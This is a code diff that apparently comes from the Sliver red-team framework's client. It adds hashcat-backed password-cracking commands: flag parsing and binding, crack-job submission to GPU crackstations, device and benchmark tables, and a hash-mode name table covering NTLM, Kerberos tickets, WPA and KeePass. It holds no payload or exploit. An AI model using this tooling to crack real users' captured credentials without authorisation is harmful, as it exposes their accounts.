req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
req.BrainClient, _ = flags.GetBool("brain-client")
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
req.BrainHost, _ = flags.GetString("brain-host")
req.BrainPort, _ = flags.GetUint32("brain-port")
req.BrainPassword, _ = flags.GetString("brain-password")
req.BrainSession, _ = flags.GetString("brain-session")
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
return req, nil
}
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
values, _ := flags.GetUintSlice(name)
if len(values) == 0 {
return nil
}
out := make([]uint32, len(values))
for i, value := range values {
out[i] = uint32(value)
}
return out
}
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
if raw == "" {
return clientpb.CrackAttackMode_STRAIGHT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackAttackMode(numeric), nil
}
normalized := strings.ToLower(strings.TrimSpace(raw))
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
switch normalized {
case "straight":
return clientpb.CrackAttackMode_STRAIGHT, nil
case "combination":
return clientpb.CrackAttackMode_COMBINATION, nil
case "bruteforce", "brute_force", "brute-force":
return clientpb.CrackAttackMode_BRUTEFORCE, nil
case "hybrid_wordlist_mask":
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
case "hybrid_mask_wordlist":
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
case "association":
return clientpb.CrackAttackMode_ASSOCIATION, nil
case "no_attack", "none":
return clientpb.CrackAttackMode_NO_ATTACK, nil
default:
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
}
}
func parseHashType(raw string) (clientpb.HashType, error) {
if raw == "" {
return clientpb.HashType_MD5, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.HashType(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.HashType_value[key]; ok {
return clientpb.HashType(value), nil
}
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
}
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
if raw == "" {
return clientpb.CrackEncoding_INVALID_ENCODING, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackEncoding(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackEncoding_value[key]; ok {
return clientpb.CrackEncoding(value), nil
}
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
}
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
if raw == "" {
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackOutfileFormat(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
return clientpb.CrackOutfileFormat(value), nil
}
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
}
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
if raw == "" {
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackWorkloadProfile(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
return clientpb.CrackWorkloadProfile(value), nil
}
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
}
func normalizeEnumKey(value string) string {
if value == "" {
return ""
}
var builder strings.Builder
builder.Grow(len(value))
underscore := false
for i := 0; i < len(value); i++ {
ch := value[i]
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
if ch >= 'a' && ch <= 'z' {
ch -= 'a' - 'A'
}
builder.WriteByte(ch)
underscore = false
continue
}
if !underscore {
builder.WriteByte('_')
underscore = true
}
}
return strings.Trim(builder.String(), "_")
}
+3 -3
View File
@@ -106,17 +106,17 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
wordlistTable := table.NewWriter()
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
wordlistTable.SetTitle(console.StyleBold.Render("Wordlists"))
wordlistTable.SetStyle(settings.GetTableStyle(con))
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
rulesTable := table.NewWriter()
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
rulesTable.SetTitle(console.StyleBold.Render("Rules"))
rulesTable.SetStyle(settings.GetTableStyle(con))
rulesTable.AppendHeader(table.Row{"Name", "Size"})
hcTable := table.NewWriter()
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
hcTable.SetTitle(console.StyleBold.Render("Markov Hcstat2"))
hcTable.SetStyle(settings.GetTableStyle(con))
hcTable.AppendHeader(table.Row{"Name", "Size"})
+108
View File
@@ -0,0 +1,108 @@
package crack
import "github.com/spf13/pflag"
func bindCrackFlags(f *pflag.FlagSet) {
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
f.String("hash-type", "", "hashcat hash type (number or enum name)")
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
f.Bool("quiet", false, "quiet mode")
f.Bool("hex-charset", false, "treat charset as hex")
f.Bool("hex-salt", false, "treat salt as hex")
f.Bool("hex-wordlist", false, "treat wordlist as hex")
f.Bool("force", false, "ignore warnings")
f.Bool("deprecated-check-disable", false, "disable deprecated check")
f.Bool("status", false, "enable status")
f.Bool("status-json", false, "emit status in JSON")
f.Uint32("status-timer", 0, "status timer interval (seconds)")
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
f.Bool("machine-readable", false, "machine readable output")
f.Bool("keep-guessing", false, "keep guessing")
f.Bool("self-test-disable", false, "disable self-test")
f.Bool("loopback", false, "use loopback mode")
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
f.Bool("markov-disable", false, "disable markov mode")
f.Bool("markov-classic", false, "use classic markov")
f.Bool("markov-inverse", false, "use inverse markov")
f.Uint32("markov-threshold", 0, "markov threshold")
f.Uint32("runtime", 0, "runtime in seconds")
f.String("session", "", "session name")
f.Bool("restore", false, "restore session")
f.Bool("restore-disable", false, "disable restore")
f.String("restore-file", "", "restore file path or identifier")
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
f.String("separator", "", "separator character")
f.Bool("stdout", false, "stdout output")
f.Bool("show", false, "show cracked hashes")
f.Bool("left", false, "show uncracked hashes")
f.Bool("username", false, "enable username handling")
f.Bool("remove", false, "remove cracked hashes")
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
f.Bool("potfile-disable", false, "disable potfile")
f.String("potfile", "", "potfile path or identifier")
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
f.Uint32("debug-mode", 0, "debug mode mask")
f.Bool("logfile-disable", false, "disable logfile")
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
f.Bool("benchmark", false, "run benchmark")
f.Bool("benchmark-all", false, "run full benchmark")
f.Bool("speed-only", false, "show speed only")
f.Bool("progress-only", false, "show progress only")
f.Uint32("segment-size", 0, "segment size")
f.Uint32("bitmap-min", 0, "bitmap min")
f.Uint32("bitmap-max", 0, "bitmap max")
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
f.Uint32("hook-threads", 0, "hook threads")
f.Bool("hash-info", false, "show hash information")
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
f.Bool("backend-info", false, "show backend info")
f.UintSlice("backend-devices", nil, "backend device IDs")
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
f.Uint32("kernel-accel", 0, "kernel acceleration")
f.Uint32("kernel-loops", 0, "kernel loops")
f.Uint32("kernel-threads", 0, "kernel threads")
f.Uint32("backend-vector-width", 0, "backend vector width")
f.Uint32("spin-damp", 0, "spin damp")
f.Bool("hwmon-disable", false, "disable hardware monitoring")
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
f.Uint64("skip", 0, "skip count")
f.Uint64("limit", 0, "limit count")
f.Bool("keyspace", false, "show keyspace")
f.String("rules-file", "", "rules file path or identifier")
f.Uint32("generate-rules", 0, "generate rules")
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
f.String("generate-rules-func-sel", "", "generate rules function selection")
f.Int32("generate-rules-seed", 0, "generate rules seed")
f.String("custom-charset1", "", "custom charset 1")
f.String("custom-charset2", "", "custom charset 2")
f.String("custom-charset3", "", "custom charset 3")
f.String("custom-charset4", "", "custom charset 4")
f.String("identify", "", "identify hash")
f.Bool("increment", false, "incremental mode")
f.Uint32("increment-min", 0, "increment min")
f.Uint32("increment-max", 0, "increment max")
f.Bool("slow-candidates", false, "slow candidates")
f.Bool("brain-server", false, "brain server mode")
f.Uint32("brain-server-timer", 0, "brain server timer")
f.Bool("brain-client", false, "brain client mode")
f.String("brain-client-features", "", "brain client features")
f.String("brain-host", "", "brain host")
f.Uint32("brain-port", 0, "brain port")
f.String("brain-password", "", "brain password")
f.String("brain-session", "", "brain session")
f.String("brain-session-whitelist", "", "brain session whitelist")
}
+68 -25
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"sort"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
@@ -34,6 +35,37 @@ import (
// CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunCrack(cmd, args) {
crackCmd, err := buildCrackCommand(cmd, args)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
ctx := context.Background()
if timeoutSeconds > 0 {
var cancel context.CancelFunc
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
defer cancel()
}
resp, err := con.Rpc.Crack(ctx, crackCmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp == nil || resp.Job == nil {
con.PrintInfof("Crack request submitted\n")
return
}
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
if resp.Job.Err != "" {
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
}
return
}
if !AreCrackersOnline(con) {
PrintNoCrackstations(con)
} else {
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
con.PrintErrorf("%s\n", err)
return
}
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con)
} else {
PrintCrackers(crackers.Crackstations, con)
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
}
}
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
return len(crackers.Crackstations) > 0
}
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name
})
for index, cracker := range crackers {
printCracker(cracker, index, con)
printCracker(cracker, index, con, showBenchmarks)
if index < len(crackers)-1 {
con.Println()
con.Println()
@@ -96,53 +129,63 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
}
}
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n")
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion})
if 0 < len(cracker.CUDA) {
for _, cuda := range cracker.CUDA {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)})
}
}
if 0 < len(cracker.Metal) {
for _, metal := range cracker.Metal {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)})
}
}
if 0 < len(cracker.OpenCL) {
for _, openCL := range cracker.OpenCL {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)})
}
}
con.Printf("%s\n", tw.Render())
con.Println()
printBenchmarks(cracker, con)
if showBenchmarks {
con.Println()
printBenchmarks(cracker, con)
}
}
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
tw.SetTitle(console.StyleBold.Render("Benchmarks"))
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
for hashType, speed := range cracker.Benchmarks {
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
if len(cracker.Benchmarks) == 0 {
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
} else {
for hashType, speed := range cracker.Benchmarks {
name, ok := hashcatHashTypeName(hashType)
if !ok {
name = clientpb.HashType(hashType).String()
}
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
}
}
con.Printf("%s\n", tw.Render())
}
+419
View File
@@ -0,0 +1,419 @@
package crack
import "fmt"
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
var hashcatHashTypes = map[int32]string{
0: "MD5",
10: "md5($pass.$salt)",
11: "Joomla < 2.5.18",
12: "PostgreSQL",
20: "md5($salt.$pass)",
21: "osCommerce, xt:Commerce",
22: "Juniper NetScreen/SSG (ScreenOS)",
23: "Skype",
24: "SolarWinds Serv-U",
30: "md5(utf16le($pass).$salt)",
40: "md5($salt.utf16le($pass))",
50: "HMAC-MD5 (key = $pass)",
60: "HMAC-MD5 (key = $salt)",
70: "md5(utf16le($pass))",
100: "SHA1",
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
110: "sha1($pass.$salt)",
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
112: "Oracle S: Type (Oracle 11+)",
120: "sha1($salt.$pass)",
121: "SMF (Simple Machines Forum) > v1.1",
122: "macOS v10.4, macOS v10.5, macOS v10.6",
123: "EPi",
124: "Django (SHA-1)",
125: "ArubaOS",
130: "sha1(utf16le($pass).$salt)",
131: "MSSQL (2000)",
132: "MSSQL (2005)",
133: "PeopleSoft",
140: "sha1($salt.utf16le($pass))",
141: "Episerver 6.x < .NET 4",
150: "HMAC-SHA1 (key = $pass)",
160: "HMAC-SHA1 (key = $salt)",
170: "sha1(utf16le($pass))",
190: "sha1(LinkedIn)",
200: "MySQL323",
300: "MySQL4.1/MySQL5",
400: "phpass, phpBB3 (MD5)",
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
501: "Juniper IVE",
600: "BLAKE2b-512",
900: "MD4",
1000: "NTLM",
1100: "Domain Cached Credentials (DCC), MS Cache",
1300: "SHA2-224",
1400: "SHA2-256",
1410: "sha256($pass.$salt)",
1411: "SSHA-256(Base64), LDAP {SSHA256}",
1420: "sha256($salt.$pass)",
1421: "hMailServer",
1430: "sha256(utf16le($pass).$salt)",
1431: "base64(sha256(unicode($pass)))",
1440: "sha256($salt.utf16le($pass))",
1441: "Episerver 6.x >= .NET 4",
1450: "HMAC-SHA256 (key = $pass)",
1460: "HMAC-SHA256 (key = $salt)",
1470: "sha256(utf16le($pass))",
1500: "descrypt, DES (Unix), Traditional DES",
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
1700: "SHA2-512",
1710: "sha512($pass.$salt)",
1711: "SSHA-512(Base64), LDAP {SSHA512}",
1720: "sha512($salt.$pass)",
1722: "macOS v10.7",
1730: "sha512(utf16le($pass).$salt)",
1731: "MSSQL (2012, 2014)",
1740: "sha512($salt.utf16le($pass))",
1750: "HMAC-SHA512 (key = $pass)",
1760: "HMAC-SHA512 (key = $salt)",
1770: "sha512(utf16le($pass))",
1800: "sha512crypt $6$, SHA512 (Unix)",
2000: "STDOUT",
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
2400: "Cisco-PIX MD5",
2410: "Cisco-ASA MD5",
2500: "WPA-EAPOL-PBKDF2",
2501: "WPA-EAPOL-PMK",
2600: "md5(md5($pass))",
2611: "vBulletin < v3.8.5",
2612: "PHPS",
2711: "vBulletin >= v3.8.5",
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
3000: "LM",
3100: "Oracle H: Type (Oracle 7+)",
3200: "bcrypt $2\\*$, Blowfish (Unix)",
3300: "MD5(Sun)",
3500: "md5(md5(md5($pass)))",
3610: "md5(md5($salt).$pass )",
3710: "md5($salt.md5($pass))",
3711: "MediaWiki B type",
3720: "md5($pass.md5($salt))",
3721: "WebEdition CMS",
3800: "md5($salt.$pass.$salt)",
3910: "md5(md5($pass).md5($salt))",
4010: "md5($salt.md5($salt.$pass))",
4110: "md5($salt.md5($pass.$salt))",
4210: "md5($username.0.$pass)",
4300: "md5(strtoupper(md5($pass)))",
4400: "md5(sha1($pass))",
4500: "sha1(sha1($pass))",
4510: "sha1(sha1($pass).$salt)",
4520: "sha1($salt.sha1($pass))",
4521: "Redmine",
4522: "PunBB",
4600: "sha1(sha1(sha1($pass)))",
4700: "sha1(md5($pass))",
4710: "sha1(md5($pass).$salt)",
4711: "Huawei sha1(md5($pass).$salt)",
4800: "iSCSI CHAP authentication, MD5(CHAP)",
4900: "sha1($salt.$pass.$salt)",
5000: "sha1(sha1($salt.$pass.$salt))",
5100: "Half MD5",
5200: "Password Safe v3",
5300: "IKE-PSK MD5",
5400: "IKE-PSK SHA1",
5500: "NetNTLMv1 / NetNTLMv1+ESS",
5600: "NetNTLMv2",
5700: "Cisco-IOS type 4 (SHA256)",
5800: "Samsung Android Password/PIN",
6000: "RIPEMD-160",
6100: "Whirlpool",
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
6300: "AIX {smd5}",
6400: "AIX {ssha256}",
6500: "AIX {ssha512}",
6600: "1Password, agilekeychain",
6700: "AIX {ssha1}",
6800: "LastPass + LastPass sniffed",
6900: "GOST R 34.11-94",
7000: "FortiGate (FortiOS)",
7100: "macOS v10.8+ (PBKDF2-SHA512)",
7200: "GRUB 2",
7300: "IPMI2 RAKP HMAC-SHA1",
7400: "sha256crypt $5$, SHA256 (Unix)",
7401: "MySQL $A$ (sha256crypt)",
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
7700: "SAP CODVN B (BCODE)",
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
7800: "SAP CODVN F/G (PASSCODE)",
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
7900: "Drupal7",
8000: "Sybase ASE",
8100: "Citrix NetScaler (SHA1)",
8200: "1Password, cloudkeychain",
8300: "DNSSEC (NSEC3)",
8400: "WBB3 (Woltlab Burning Board)",
8500: "RACF",
8600: "Lotus Notes/Domino 5",
8700: "Lotus Notes/Domino 6",
8800: "Android FDE <= 4.3",
8900: "scrypt",
9000: "Password Safe v2",
9100: "Lotus Notes/Domino 8",
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
9300: "Cisco-IOS $9$ (scrypt)",
9400: "MS Office 2007",
9500: "MS Office 2010",
9600: "MS Office 2013",
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
9900: "Radmin2",
10000: "Django (PBKDF2-SHA256)",
10100: "SipHash",
10200: "CRAM-MD5",
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
10600: "PDF 1.7 Level 3 (Acrobat 9)",
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
10800: "SHA2-384",
10810: "sha384($pass.$salt)",
10820: "sha384($salt.$pass)",
10830: "sha384(utf16le($pass).$salt)",
10840: "sha384($salt.utf16le($pass))",
10870: "sha384(utf16le($pass))",
10900: "PBKDF2-HMAC-SHA256",
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
11000: "PrestaShop",
11100: "PostgreSQL CRAM (MD5)",
11200: "MySQL CRAM (SHA1)",
11300: "Bitcoin/Litecoin wallet.dat",
11400: "SIP digest authentication (MD5)",
11500: "CRC32",
11600: "7-Zip",
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
11900: "PBKDF2-HMAC-MD5",
12000: "PBKDF2-HMAC-SHA1",
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
12100: "PBKDF2-HMAC-SHA512",
12200: "eCryptfs",
12300: "Oracle T: Type (Oracle 12+)",
12400: "BSDi Crypt, Extended DES",
12500: "RAR3-hp",
12600: "ColdFusion 10+",
12700: "Blockchain, My Wallet",
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
12900: "Android FDE (Samsung DEK)",
13000: "RAR5",
13100: "Kerberos 5, etype 23, TGS-REP",
13200: "AxCrypt 1",
13300: "AxCrypt 1 in-memory SHA1",
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
13500: "PeopleSoft PS_TOKEN",
13600: "WinZip",
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
